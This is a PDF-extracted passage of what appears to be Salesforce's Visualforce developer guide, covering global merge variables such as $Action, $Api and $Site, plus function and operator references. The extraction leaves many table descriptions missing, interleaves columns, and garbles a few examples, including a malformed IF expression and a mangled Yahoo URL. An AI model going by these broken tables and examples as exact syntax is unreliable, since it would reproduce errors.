A global merge field type to use when referencing information about the current Force.com site.
$System.OriginDateTime
A global merge field that represents the literal value of 1900-01-01 00:00:00.
$User
A global merge field type to use when referencing information about the current user. User merge fields can reference information
about the user such as alias, title, and ID. Most of the fields available on the User standard object are also available on $User.
$User.UITheme and $User.UIThemeDisplayed
These global merge fields identify the Salesforce look and feel a user sees on a given Web page.
603
$Action
$UserRole
A global merge field type to use when referencing information about the current users role. Role merge fields can reference
information such as role name, description, and ID.
$Action
A global merge field type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating
new accounts, editing accounts, and deleting accounts.
Usage
Use dot notation to specify an object and an action, for example, $Action.Account.New
Example
The following markup adds a link to create a new account:
<apex:outputLink value="{!URLFOR($Action.Account.New)}">
Create New Account
</apex:outputLink>
IN THIS SECTION:
Valid Values for the $Action Global Variable
SEE ALSO:
Dynamic References to Action Methods Using $Action
Description
Objects
Accept
Accept a record.
Ad group
Case
Event
Google campaign
604
$Action
Keyword
Lead
Search phrase
SFGA version
Text ad
Activate
Activate a contract.
Contract
Add
Product2
AddCampaign
Campaign
AddInfluence
Opportunity
AddProduct
OpportunityLineItem
AddToCampaign
Contact
Lead
AddToOutlook
Event
AdvancedSetup
Campaign
AltavistaNews
Launch www.altavista.com/news/.
Account
Lead
Cancel
Cancel an event.
Event
CaseSelect
Solution
ChangeOwner
Account
Ad group
Campaign
Contact
Contract
Google campaign
Keyword
Opportunities
Search phrase
SFGA version
Text ad
ChangeStatus
Case
Lead
ChoosePricebook
605
OpportunityLineItem
Clone
$Action
Clone a record.
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Text ad
Custom objects
CloneAsChild
Case
CloseCase
Close a case.
Case
Convert
Lead
ConvertLead
Campaign Member
Create_Opportunity
Campaign Member
Decline
Decline an event.
Event
Delete
Delete a record.
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
606
$Action
Product
Search phrase
SFGA version
Solution
Task
Text ad
Custom objects
DeleteSeries
Event
Task
DisableCustomerPortal
Contact
DisableCustomerPortalAccount
Account
DisablePartnerPortal
Contact
DisablePartnerPortalAccount
Account
Download
Download an attachment.
Attachment
Document
Edit
Edit a record.
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad
Custom objects
607
$Action
EditAllProduct
OpportunityLineItem
EnableAsPartner
Account
EnablePartnerPortalUser
Contact
EnableSelfService
Contact
FindDup
Lead
FollowupEvent
Event
FollowupTask
Event
HooversProfile
Account
Lead
IncludeOffline
Account
GoogleMaps
Account
Contact
Lead
GoogleNews
Display www.google.com/news.
Account
Contact
Lead
GoogleSearch
Display www.google.com.
Account
Contact
Lead
List
Ad group
Campaign
Case
Contact
Contract
Google campaign
Keyword
Lead
Opportunity
Product
Search phrase
SFGA version
Solution
Text ad
Custom objects
608
$Action
LogCall
Log a call.
Activity
MailMerge
Activity
ManageMembers
Campaign
MassClose
Case
Merge
Merge contacts.
Contact
New
Activity
Ad group
Asset
Campaign
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Search phrase
SFGA version
Solution
Task
Text ad
Custom objects
NewTask
Create a task.
Task
RequestUpdate
Request an update.
Contact
Activity
SelfServSelect
Solution
SendEmail
Send an email.
Activity
SendGmail
Contact
Lead
Sort
OpportunityLineItem
Share
Share a record.
Account
Ad group
Campaign
609
$Action
Case
Contact
Contract
Google campaign
Keyword
Lead
Opportunity
Search phrase
SFGA version
Text ad
Submit for Approval
Account
Activity
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Task
Text ad
Tab
Ad group
Campaign
Case
Contact
Contract
Google campaign
Keyword
610
$Action
Lead
Opportunity
Product
Search phrase
SFGA version
Solution
Text ad
View
View a record.
Activity
Ad group
Asset
Campaign
Campaign member
Case
Contact
Contract
Event
Google campaign
Keyword
Lead
Opportunity
Opportunity product
Product
Search phrase
SFGA version
Solution
Text ad
Custom objects
ViewAllCampaignMembers
Campaign
ViewCampaignInfluenceReport
ViewPartnerPortalUser
Contact
ViewSelfService
Contact
YahooMaps
Account
Contact
Lead
YahooWeather
Display http://weather.yahoo.com/.
611
Contact
$Api
$Api
A global merge field type to use when referencing API URLs.
Usage
Use dot notation to specify an API URL from either the Enterprise or Partner WSDL, or to return the session ID.
Important: $Api.Session_ID and GETSESSIONID() return the same value, an identifier for the current session in the
current context. This context varies depending on where the global variable or function is evaluated. For example, if you use either
in a custom formula field, and that field is displayed on a standard page layout in Salesforce Classic, the referenced session will be
a basic Salesforce session. That same field (or the underlying variable or formula result), when used in a Visualforce page, references
a Visualforce session instead.
Session contexts are based on the domain of the request. That is, the session context changes whenever you cross a hostname
boundary, such as from .salesforce.com to .visual.force.com or .lightning.force.com.
Session identifiers from different contexts, and the sessions themselves, are different. When you transition between contexts, the
old session is replaced by the new one, and the old session is no longer valid. The session ID also changes at this time.
Normally Salesforce transparently handles session hand-off between contexts, but if youre passing the session ID around yourself,
be aware that you might need to re-access $Api.Session_ID or GETSESSIONID() from the new context to ensure a
valid session ID.
Note also that not all sessions are created equal. In particular, sessions obtained in a Lightning Experience context have reduced
privileges, and don't have API access. You can't use these session IDs to make API calls.
Example
{!$Api.Enterprise_Server_URL__xxx}: The Enterprise WSDL SOAP endpoint where xxx represents the version of
the API. For example, {!$Api.Enterprise_Server_URL_260} is the expression for the endpoint for version 26.0 of the
API.
{!$Api.Partner_Server_URL__xxx}: The Partner WSDL SOAP endpoint where xxx represents the version of the API.
{!$Api.Partner_Server_URL_250} is the expression for the endpoint for version 25.0 of the API.
{!$Api.Session_ID}: The session ID.
$Cache.Session
A global merge field to access an orgs session cache from a Visualforce page. Retrieve cached values from a specified partitions session
cache in the referenced org.
Usage
Use {!$Cache.Session} to reference an existing session cache. (A session cache consists of cached data that can be reused from
one session to the next.) Use dot notation to specify the home partition or properties of a cached value.
612
$Component
Examples
This is an output text component that retrieves a cached value from the default partition with the key output.
<apex:outputText value="{!$Cache.Session.output}"/>
<!-- If the organization has a namespace ns1, use the following. -->
<apex:outputText value="{!$Cache.Session.ns1.default.output}"/>
If the cached value is a data structure that has properties or methods, like an Apex List or a custom class, those properties can be accessed
with$Cache.Session by using dot notation. For example, this markup invokes the List.size() Apex method if the value of
numbersList is declared as a List.
<apex:outputText value="{!$Cache.Session.local.default.numbersList.size}"/>
SEE ALSO:
Session Class
$Component
A global merge field type to use when referencing a Visualforce component.
Usage
Each component in a Visualforce page has its own Id attribute. When the page is rendered, this attribute is used to generate the
Document Object Model (DOM) ID. Use $Component.Path.to.Id in JavaScript to reference a specific component on a page,
where Path.to.Id is a component hierarchy specifier for the component being referenced.
Example
The following JavaScript method references a component named msgpost in a Visualforce page:
function beforeTextSave() {
document.getElementById('{!$Component.msgpost}').value =
myEditor.getEditorHTML();
}
The page markup that follows shows the <apex:outputText> component to which msgpost refers:
<apex:page>
<apex:outputText id="msgpost" value="Emacs"/> is great.
</apex:page>
If your component is nested, you might need to use a more complete component path specifier. For example, if your page looks like
this:
<apex:page>
<apex:pageBlock id="theBlock">
<apex:pageBlockSection id="theSection" columns="1">
<apex:pageBlockSectionItem id="theSectionItem">
<apex:outputText id="theText">
Heya!
</apex:outputText>
</apex:pageBlockSectionItem>
613
$ComponentLabel
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
SEE ALSO:
Using $Component to Reference Components from JavaScript
Best Practices for Accessing Component IDs
$ComponentLabel
A global merge field to use when referencing the label of an inputField component on a Visualforce page that is associated with
a message.
Usage
Return the label of an inputField component that is associated with a message.
Example
<apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:" style="color:red"/>
<apex:outputText value="{!mess.detail}" style="color:black" />
</apex:datalist>
$CurrentPage
A global merge field type to use when referencing the current Visualforce page or page request.
Usage
Use this global variable in a Visualforce page to reference the current page name ($CurrentPage.Name) or the URL of the current
page ($CurrentPage.URL). Use $CurrentPage.parameters.parameterName to reference page request parameters
and values, where parameterName is the request parameter being referenced.
Example
<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
614
$FieldSet
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>
$FieldSet
Provides access to a field set defined in your organization.
Usage
Use this in your Visualforce pages to dynamically iterate over fields in a field set. You must prefix this global variable with a reference to
the standard or custom object that has the field set.
Example
<apex:page standardController="Account">
<apex:repeat value="{!$Account.FieldSet.mySpecialFields}" var="field">
<apex:outputText value="{!field}" />
</apex:repeat>
</apex:page>
$Label
A global merge field type to use when referencing a custom label.
Usage
Use this expression in a Visualforce page to access a custom label. The returned value depends on the language setting of the contextual
user. The value returned is one of the following, in order of precedence:
1. The local translations text
2. The packaged translations text
3. The master labels text
Example
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>
$Label.Site
A global merge field type to use when referencing a standard Sites label in a Visualforce page. Like all standard labels, the text will display
based on the users language and locale.
615
$Label.Site
Usage
Use this expression in a Visualforce page to access a standard Sites label. When the application server constructs the page to be presented
to the end-users browser, the value returned depends on the language and locale of the user.
Salesforce provides the following labels:
Label
Message
authorization_required
Authorization Required
bandwidth_limit_exceeded
change_password
Change Password
change_your_password
click_forget_password
If you have forgotten your password, click Forgot Password to reset it.
community_nickname
Nickname
confirm_password
Confirm Password
down_for_maintenance
email_us
email us
enter_password
Did you forget your password? Please enter your username below.
error
Error: {0}
error2
Error
file_not_found
forgot_password
Forgot Password
forgot_password_confirmation
forgot_your_password_q
get_in_touch
go_to_login_page
Go to Login Page
img_path
/img/sites
in_maintenance
limit_exceeded
Limit Exceeded
login
Login
login_button
Login
login_or_register_first
logout
Logout
new_password
New Password
616
$Network
Label
Message
new_user_q
New User?
old_password
Old Password
page_not_found
page_not_found_detail
password
Password
passwords_dont_match
powered_by
Powered by
register
Register
registration_confirmation
Registration Confirmation
site_login
Site Login
site_under_construction
sorry_for_inconvenience
sorry_for_inconvenience_back_shortly
stay_tuned
Stay tuned.
submit
Submit
temp_password_sent
thank_you_for_registering
Thank you for registering. An email has been sent to you with your temporary
password.
under_construction
user_registration
username
Username
verify_new_password
Example
<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>
$Network
A global merge field type to use when referencing community details in a Visualforce email template.
617
$ObjectType
Usage
Use dot notation to access your communitys name and login page URL.The login page URL depends on whether the community uses
the standard or a custom login page.
Note: The $Network global merge field type works only in the context of Visualforce emails for communities.
You can create custom email templates for communities using Visualforce, which allows you to use custom company branding in your
email templates. For Visualforce email template, use the $Network global merge field type and its properties, as described in this
table.
Field Name
Description
$Network.Name
$Network.NetworkUrlForUserEmails
Example
{!$Network.Name}
{!$Network.NetworkUrlForUserEmails}
$ObjectType
A global merge field type to use when referencing standard or custom objects (such as Accounts, Cases, or Opportunities) and the values
of their fields.
Usage
Use dot notation to specify an object, such as {!$ObjectType.Case}.
Optionally, select a field on that object using the following syntax: {!$ObjectType.Role_Limit__c.Fields.Limit__c}.
Example
The following example retrieves the label for the Account Name field:
{!$ObjectType.Account.Fields.Name.Label}
You can also use dynamic references to retrieve information about an object through $ObjectType. For example,
{!$ObjectType.Account.Fields['Name'].Type}
618
$ObjectType
IN THIS SECTION:
Object Schema Details Available Using $ObjectType
Use the $ObjectType global variable to access schema information about the objects in your organization. For example, to
access the name, label, and accessibility of an object.
Field Schema Details Available Using $ObjectType
The $ObjectType global variable provides access to a variety of schema information about the objects in your organization.
Use it to reference names, labels, and data types of fields on an object, for example.
SEE ALSO:
Dynamic References to Schema Details Using $ObjectType
Data Type
Description
fields
Special
fieldSets
Special
keyPrefix
String
The three-character prefix code for the object. Record IDs are prefixed with
three-character codes that specify the object type. For example, accounts have
a prefix of 001 and opportunities have a prefix of 006).
$ObjectType returns a value for objects that have a stable prefix. For object
types that dont have a stable or predictable prefix, this field is blank. Pages that
rely on these codes can use this way of determining object types to ensure
forward compatibility.
label
String
The objects label, which often matches the object name. For example, an
organization in the medical industry might change the label for Account to
Patient. This label matches the one used in the Salesforce user interface.
labelPlural
String
The objects plural label, which often matches the object name. For example,
an organization in the medical industry might change the plural label for
619
Name
Data Type
$ObjectType
Description
Account to Patients. This label matches the one used in the Salesforce user
interface.
name
String
accessible
Boolean
true if the current user can see this object, false otherwise.
createable
Boolean
true if the object can be created by the current user, false otherwise.
custom
Boolean
deletable
Boolean
true if the object can be deleted by the current user, false otherwise.
mergeable
Boolean
true if the object can be merged with other objects of its type by the current
user, false otherwise.
queryable
Boolean
true if the object can be queried by the current user, false otherwise
searchable
Boolean
true if the object can be searched by the current user, false otherwise.
undeletable
Boolean
true if the object cant be undeleted by the current user, false otherwise.
updateable
Boolean
true if the object can be updated by the current user, false otherwise.
Data Type
Description
byteLength
Integer
calculatedFormula
String
controller
defaultValueFormula
String
digits
Integer
inlineHelpText
String
label
String
620
$ObjectType
Name
Data Type
Description
length
Integer
localName
String
name
String
picklistValues
List <Schema.PicklistEntry>
precision
Integer
referenceTo
List <Schema.sObjectType>
relationshipName
String
relationshipOrder
Integer
scale
Integer
soapType
sObjectField
type
accessible
Boolean
otherwise.
autoNumber
Boolean
otherwise.
calculated
Boolean
otherwise.
cascadeDelete
Boolean
621
$ObjectType
Name
Data Type
Description
caseSensitive
Boolean
createable
Boolean
custom
Boolean
standard object.
defaultedOnCreate
Boolean
dependentPicklist
Boolean
otherwise.
externalId
Boolean
otherwise.
filterable
Boolean
groupable
Boolean
htmlFormatted
Boolean
Boolean
nameField
Boolean
Boolean
Boolean
permissionable
Boolean
622
$Organization
Name
Data Type
Description
restrictedDelete
Boolean
restrictedPicklist
Boolean
otherwise.
sortable
Boolean
unique
Boolean
otherwise.
updateable
Boolean
true if:
SEE ALSO:
Dynamic References to Schema Details Using $ObjectType
$Organization
A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference
your organizations city, fax, ID, or other details.
Usage
Use dot notation to access your organizations information. For example:
{!$Organization.Street}
{!$Organization.State}
The organization merge fields get their values from whatever values are currently stored as part of your company information in Salesforce.
Note that {!$Organization.UiSkin} is a picklist value, and so should be used with picklist functions such as ISPICKVAL()
in custom fields, validation rules, Visualforce expressions, flow formulas, process formulas, and workflow rule formulas.
Example
Values accessible using the $Organization global variable include:
{!$Organization.Id}
{!$Organization.Name}
{!$Organization.Division}
{!$Organization.Street}
623
$Page
{!$Organization.City}
{!$Organization.State}
{!$Organization.PostalCode}
{!$Organization.Country}
{!$Organization.Fax}
{!$Organization.Phone}
{!$Organization.GoogleAppsDomain}
{!$Organization.UiSkin}
$Page
A global merge field type to use when referencing a Visualforce page.
Usage
Use this expression in a Visualforce page to link to another Visualforce page.
Example
<apex:page>
<h1>Linked</h1>
<apex:outputLink value="{!$Page.otherPage}">
This is a link to another page.
</apex:outputLink>
</apex:page>
$Permission
A global merge field type to use when referencing information about the current users custom permission access. Use permission merge
fields to reference information about the users current access to any of your organizations custom permissions.
Usage
1. Select the field type: $Permission.
2. Select a merge field such as $Permission.customPermissionName.
Example
To have a pageblock only appear for users that have the custom permission seeExecutiveData, use the following.
<apex:pageBlock rendered="{!$Permission.canSeeExecutiveData}">
<!-- Executive Data Here -->
</apex:pageBlock>
Note: $Permission appears only if custom permissions have been created in your organization. For more information, see Custom
Permissions in the Salesforce help.
624
$Profile
$Profile
A global merge field type to use when referencing information about the current users profile. Use profile merge fields to reference
information about the users profile such as license type or name.
Usage
Use dot notation to access your organizations information.
Note that you cant use the following $Profile values in Visualforce:
LicenseType
UserType
Example
{!$Profile.Id}
{!$Profile.Name}
$Resource
A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource
merge fields in URLFOR functions to reference a particular file in a static resource archive.
Usage
Use {!$Resource} to reference an existing static resource. The format is {!$Resource.nameOfResource}, such as
{!$Resource.TestImage}.
Examples
The Visualforce component below references an image file that was uploaded as a static resource and given the name TestImage:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>
To reference a file in an archive (such as a .zip or .jar file), use the URLFOR function. Specify the static resource name that you
provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50"/>
You can also use dynamic references to reference static resources. For example, {!$Resource[appLogo]}, assuming there is an
appLogo property or getAppLogo() method in your pages controller.
SEE ALSO:
Styling Visualforce Pages
625
$SControl
$SControl
A global merge field type to use when referencing an existing custom s-control by name. This merge field type results in a URL to a page
where the s-control executes.
Important: Visualforce pages supersede s-controls. Organizations that havent previously used s-controls cant create them.
Existing s-controls are unaffected, and can still be edited.
Usage
Use dot notation to access an existing s-control by its name.
Example
The following example shows how to link to an s-control named HelloWorld in a Visualforce page:
<apex:page>
<apex:outputLink
value="{!$SControl.HelloWorld}">Open the HelloWorld s-control</apex:outputLink>
</apex:page>
Note that if you simply want to embed an s-control in a page, you can use the <apex:scontrol> tag without the $SControl merge
field. For example:
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>
$Setup
A global merge field type to use when referencing a custom setting of type hierarchy.
Usage
Use $Setup to access hierarchical custom settings and their field values using dot notation. For example,
$Setup.App_Prefs__c.Show_Help_Content__c.
Hierarchical custom settings allow values at any of three different levels:
1. Organization, the default value for everyone
2. Profile, which overrides the Organization value
3. User, which overrides both Organization and Profile values
Salesforce automatically determines the correct value for this custom setting field based on the running users current context.
Custom settings of type list arent available on Visualforce pages using this global variable. You can access list custom settings in Apex.
626
$Site
Example
The following example illustrates how to conditionally display an extended help message for an input field, depending on the users
preference:
<apex:page>
<apex:inputField value="{!usr.Workstation_Height__c}"/>
<apex:outputPanel id="helpWorkstationHeight"
rendered="{!$Setup.App_Prefs__c.Show_Help_Content__c}">
Enter the height for your workstation in inches, measured from the
floor to top of the work surface.
</apex:outputPanel>
...
</apex:page>
If the organization level for the custom setting is set to true, users see the extended help message by default. If an individual prefers
to not see the help messages, they can set their custom setting to false, to override the organization (or profile) value.
$Site
A global merge field type to use when referencing information about the current Force.com site.
Usage
Use dot notation to access information about the current Force.com site. Note that only the following site fields are available:
Merge Field
Description
$Site.Name
$Site.Domain
$Site.CustomWebAddress
Returns the request's custom URL if it doesn't end in force.com or returns the
site's primary custom URL. If neither exist, then this returns an empty string. Note
that the URL's path is always the root, even if the request's custom URL has a path
prefix. If the current request is not a site request, then this field returns an empty
string. This field's value always ends with a / character. Use of
$Site.CustomWebAddress is discouraged and we recommend using
$Site.BaseCustomUrl instead.
$Site.OriginalUrl
Returns the original URL for this page if its a designated error page for the site;
otherwise, returns null.
$Site.CurrentSiteUrl
Returns the base URL of the current site that references and links should use. Note
that this field might return the referring page's URL instead of the current request's
URL. This field's value includes a path prefix and always ends with a / character. If
the current request is not a site request, then this field returns an empty string. Use
of $Site.CurrentSiteUrl is discouraged. Use $Site.BaseUrl instead.
$Site.LoginEnabled
Returns true if the current site is associated with an active login-enabled portal;
otherwise returns false.
$Site.RegistrationEnabled
627
$Site
Merge Field
Description
$Site.IsPasswordExpired
For authenticated users, returns true if the currently logged-in user's password
is expired. For non-authenticated users, returns false.
$Site.AdminEmailAddress
Returns the value of the Site Contact field for the current site.
$Site.Prefix
Returns the URL path prefix of the current site. For example, if your site URL is
myco.force.com/partners, /partners is the path prefix. Returns
null if the prefix isnt defined. If the current request is not a site request, then this
field returns an empty string.
$Site.Template
Returns the template name associated with the current site; returns the default
template if no template has been designated.
$Site.ErrorMessage
Returns an error message for the current page if its a designated error page for the
site and an error exists; otherwise, returns an empty string.
$Site.ErrorDescription
Returns the error description for the current page if its a designated error page for
the site and an error exists; otherwise, returns an empty string.
$Site.AnalyticsTrackingCode
The tracking code associated with your site. This code can be used by services like
Google Analytics to track page request data for your site.
$Site.BaseCustomUrl
Returns a base URL for the current site that doesnt use a Force.com subdomain.
The returned URL uses the same protocol (HTTP or HTTPS) as the current request if
at least one non-Force.com custom URL that supports HTTPS exists on the site. The
returned value never ends with a / character. If all the custom URLs in this site end
in force.com, or this site has no custom URLs, then this returns an empty string.
If the current request is not a site request, then this method returns an empty string.
This field replaces CustomWebAddress and includes the custom URL's path
prefix.
$Site.BaseInsecureUrl
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current
request's domain is used. The returned value includes the path prefix and never
ends with a / character. If the current request is not a site request, then this method
returns an empty string.
$Site.BaseRequestUrl
Returns the base URL of the current site for the requested URL. This isn't influenced
by the referring page's URL. The returned URL uses the same protocol (HTTP or
HTTPS) as the current request. The returned value includes the path prefix and never
ends with a / character. If the current request is not a site request, then this method
returns an empty string.
$Site.BaseSecureUrl
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current
request's domain is preferred if it supports HTTPS. Domains that are not Force.com
subdomains are preferred over Force.com subdomains. A Force.com subdomain,
if associated with the site, is used if no other HTTPS domains exist in the current
site. If there are no HTTPS custom URLs in the site, then this method returns an
empty string. The returned value includes the path prefix and never ends with a /
character. If the current request is not a site request, then this method returns an
empty string.
628
$System.OriginDateTime
Merge Field
Description
$Site.BaseUrl
Returns the base URL of the current site that references and links should use. Note
that this field may return the referring page's URL instead of the current request's
URL. This field's value includes the path prefix and never ends with a / character.
If the current request is not a site request, then this field returns an empty string.
This field replaces $Site.CurrentSiteUrl.
$Site.MasterLabel
Returns the value of the Master Label field for the current site. If the current request
is not a site request, then this field returns an empty string.
$Site.SiteId
Returns the ID of the current site. If the current request is not a site request, then
this field returns an empty string.
$Site.SiteType
Returns the API value of the Site Type field for the current site. If the current request
is not a site request, then this field returns an empty string.
$Site.SiteTypeLabel
Returns the value of the Site Type field's label for the current site. If the current
request is not a site request, then this field returns an empty string.
Example
The following example shows how to use the $Site.Template merge field:
<apex:page title="Job Application Confirmation" showHeader="false"
standardStylesheets="true">
<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">
<apex:define name="body">
<apex:form>
<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return false;"/>
<br/>
<br/>
<center>
<apex:outputText value="Your application has been saved.
Thank you for your interest!"/>
</center>
<br/>
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>
$System.OriginDateTime
A global merge field that represents the literal value of 1900-01-01 00:00:00.
629
$User
Usage
Use this global variable when performing date/time offset calculations, or to assign a literal value to a date/time field.
Example
The following example calculates the number of days that have passed since January 1, 1900:
{!NOW() - $System.OriginDateTime}
$User
A global merge field type to use when referencing information about the current user. User merge fields can reference information
about the user such as alias, title, and ID. Most of the fields available on the User standard object are also available on $User.
Usage
Use dot notation to access the current users information. For example:
{!IF (CONTAINS($User.Alias, Smith) True, False)}
Example
The following example displays the current users company name, as well as the status of the current user (which returns a Boolean
value).
<apex:page>
<h1>Congratulations</h1>
This is your new Apex Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
<p>Is the user active?
{!$User.isActive}</p>
</apex:page>
Usage
Use these variables to identify the CSS used to render Salesforce web pages to a user. Both variables return one of the following values.
Theme1Obsolete Salesforce theme
Theme2Salesforce Classic 2005 user interface theme
Theme3Salesforce Classic 2010 user interface theme
630
$UserRole
Example
The following example shows how you can render different layouts based on a users theme:
<apex:page>
<apex:pageBlock title="My Content" rendered="{!$User.UITheme == 'Theme2'}">
// this is the old theme...
</apex:pageBlock>
<apex:pageBlock title="My Content" rendered="{!$User.UITheme == 'Theme3'}">
// this is the classic theme ...
</apex:pageBlock>
</apex:page>
$UserRole
A global merge field type to use when referencing information about the current users role. Role merge fields can reference information
such as role name, description, and ID.
Usage
Use dot notation to access information about the current users role.
Note that you cant use the following $UserRole values in Visualforce:
CaseAccessForAccountOwner
ContactAccessForAccountOwner
OpportunityAccessForAccountOwner
PortalType
Example
{!$UserRole.LastModifiedById}
Functions
Use functions to transform data from records, perform calculations, or to provide values for Visualforce attributes.
Functions must be used in a Visualforce expression to be evaluated. You can use the following functions in your Visualforce pages.
631
Functions
Description
Use
DATE
two-digit day.
DATEVALUE
DATETIMEVALUE
DATETIMEVALUE(expression) and
replace expression with a date/time
Returns a day of the month in the form of a DAY(date) and replace date with a
number between 1 and 31.
date field or value such as TODAY().
MONTH
NOW()
NOW
Tips
Do not remove the parentheses.
Keep the parentheses empty. They do
not need to contain a value.
Use addition or subtraction operators
and a number with a NOW function to
return a different date and time. For
example {!NOW() +5} calculates
the date and time five days ahead of
now.
632
Function
Functions
Description
Use
Tips
Do not remove the parentheses.
Keep the parentheses empty. They do
not need to contain a value.
Use addition and subtraction operators
with a TODAY function and numbers
to return a date. For example
{!TODAY() +7} calculates the date
seven days ahead of now.
If you prefer to use a date time field, use
NOW.
YEAR
Returns the four-digit year in number format YEAR(date) and replace date with
of a given date.
the field or expression that contains the year
you want returned.
Informational Functions
Function
Description
Use
BLANKVALUE
BLANKVALUE(expression,
substitute_expression) and
replace expression with the expression
ISBLANK
633
Functions
Function
Description
Use
NULLVALUE
NULLVALUE(expression,
substitute_expression) and
replace expression with the expression
PRIORVALUE
PRIORVALUE(field)
Function
Description
Use
AND
AND(logical1,logical2,...)
Logical Functions
and replace
logical1,logical2,... with the
634
CASE(expression,value1,
result1, value2,
result2,..., else_result) and
replace expression with the field or
Functions
Function
Description
Use
IF
ISCHANGED
ISCLONE
ISNEW
ISNUMBER
NOT
Returns FALSE for TRUE and TRUE for FALSE. NOT(logical) and replace logical
The following markup returns the value of with the expression that you want
ReportAcct if the account IsActive evaluated.
field is set to false. It returns the value of
SaveAcct if IsActive is set to true.
{!IF(NOT(Account.IsActive)ReportAcct,
SaveAcct)}
635
Function
Functions
Description
Use
true.
{!IF(OR(Account.IsActive__c,
Account.IsNew__C))
VerifyAcct, CloseAcct)}
Math Functions
Function
Description
Use
ABS
CEILING
EXP
Returns a value for e raised to the power of EXP(number) and replace number
a number you specify.
with a number field or value such as 5.
FLOOR
LN
Returns the natural logarithm of a specified LN(number) and replace number with
number. Natural logarithms are based on the field or expression for which you want
the constant e value of 2.71828182845904. the natural logarithm.
LOG
MAX
636
Functions
Function
Description
Use
MOD
SQRT
Returns the positive square root of a given SQRT(number) and replace number
number.
with the field or expression you want
computed into a square root.
Text Functions
Function
Description
Use
BEGINS
BEGINS(text, compare_text)
and replace text, compare_text
{!BEGINS(opportunity.StageName,
'Closed')}
BR()
CASESAFEID
Converts a 15-character ID to a
case-insensitive 18-character ID.
637
Functions
Function
Description
Use
CONTAINS
FIND(search_text, text[,
start_num]) and replace
search_text with the string you want
to find, replace text with the field or
HTMLENCODE
Encodes text and merge field values for use {!HTMLENCODE(text)} and replace
in HTML by replacing characters that are
text with the merge field or text string
reserved in HTML, such as the greater-than that contains the reserved characters.
sign (>), with HTML entity equivalents, such
as >.
ISPICKVAL
GETSESSIONID()
ISPICKVAL(picklist_field,
text_literal) and replace
picklist_field with the merge field
638
Functions
Function
Description
Use
JSINHTMLENCODE
{!JSINHTMLENCODE(text)} and
replace text with the merge field or text
LEFT
LEN
LPAD
639
Function
Functions
Description
Use
If the value in text is longer than
pad_string, text is truncated to the
size of padded_length.
MID
RIGHT
RPAD
RPAD(text, padded_length[,
'pad_string']) and replace the
variables:
text is the field or expression after
which you want to insert characters.
pad_length is the number of total
characters in the text string that will be
returned.
pad_string is the character or
characters that should be inserted.
pad_string is optional and defaults
to a blank space.
If the value in text is longer than
pad_string, text is truncated to the
size of padded_length.
SUBSTITUTE
SUBSTITUTE(text, old_text,
new_text) and replace text with the
640
Function
Functions
Description
Use
URLENCODE
Encodes text and merge field values for use {!URLENCODE(text)} and replace
in URLs by replacing characters that are
text with the merge field or text string
illegal in URLs, such as blank spaces, with that you want to encode.
the code that represent those characters as
defined in RFC 3986, Uniform Resource
Identifier (URI): Generic Syntax. For example,
blank spaces are replaced with %20, and
exclamation points are replaced with %21.
VALUE
Advanced Functions
Function
Description
Use
GETRECORDIDS
INCLUDE
LINKTO
641
Function
Functions
Description
Use
and can include any additional parameters
you want to add to the link. The no
override argument is also optional and
defaults to false. It applies to targets for
standard Salesforce pages such as
$Action.Account.New. Replace no
override with true when you want to
display a standard Salesforce page
regardless of whether you have defined an
override for it elsewhere.
REGEX
REQUIRESCRIPT
URLFOR
VLOOKUP
642
Function
Functions
Description
Use
contains the value you want returned,
field_on_lookup_object with the
field on the related object that contains the
value you want to match, and
lookup_value with the value you want
to match. You can only use VLOOKUP() in
validation rules. If the function fails because,
for example, the
field_on_lookup_object doesnt
exist, you can specify an error message in
the validation rule itself.
Encoding Functions
Function
Description
HTMLENCODE
Encodes text and merge field values for use {!HTMLENCODE(text)} and replace
in HTML by replacing characters that are
text with the merge field or text string
reserved in HTML, such as the greater-than that contains the reserved characters.
sign (>), with HTML entity equivalents, such
as >.
JSENCODE
{!JSINHTMLENCODE(text)} and
replace text with the merge field or text
JSINHTMLENCODE
URLENCODE
Use
Encodes text and merge field values for use {!URLENCODE(text)} and replace
in URLs by replacing characters that are
text with the merge field or text string
illegal in URLs, such as blank spaces, with that you want to encode.
the code that represent those characters as
defined in RFC 3986, Uniform Resource
643
Function
Expression Operators
Description
Use
Expression Operators
Use operators to join expressions together to create compound expressions.
Operators must be used within Visualforce expression syntax to be evaluated.Visualforce supports the following operators.
Math Operators
Operator
Description
Use
644
(expression1) expression2...
and replace each expression with
Expression Operators
Logical Operators
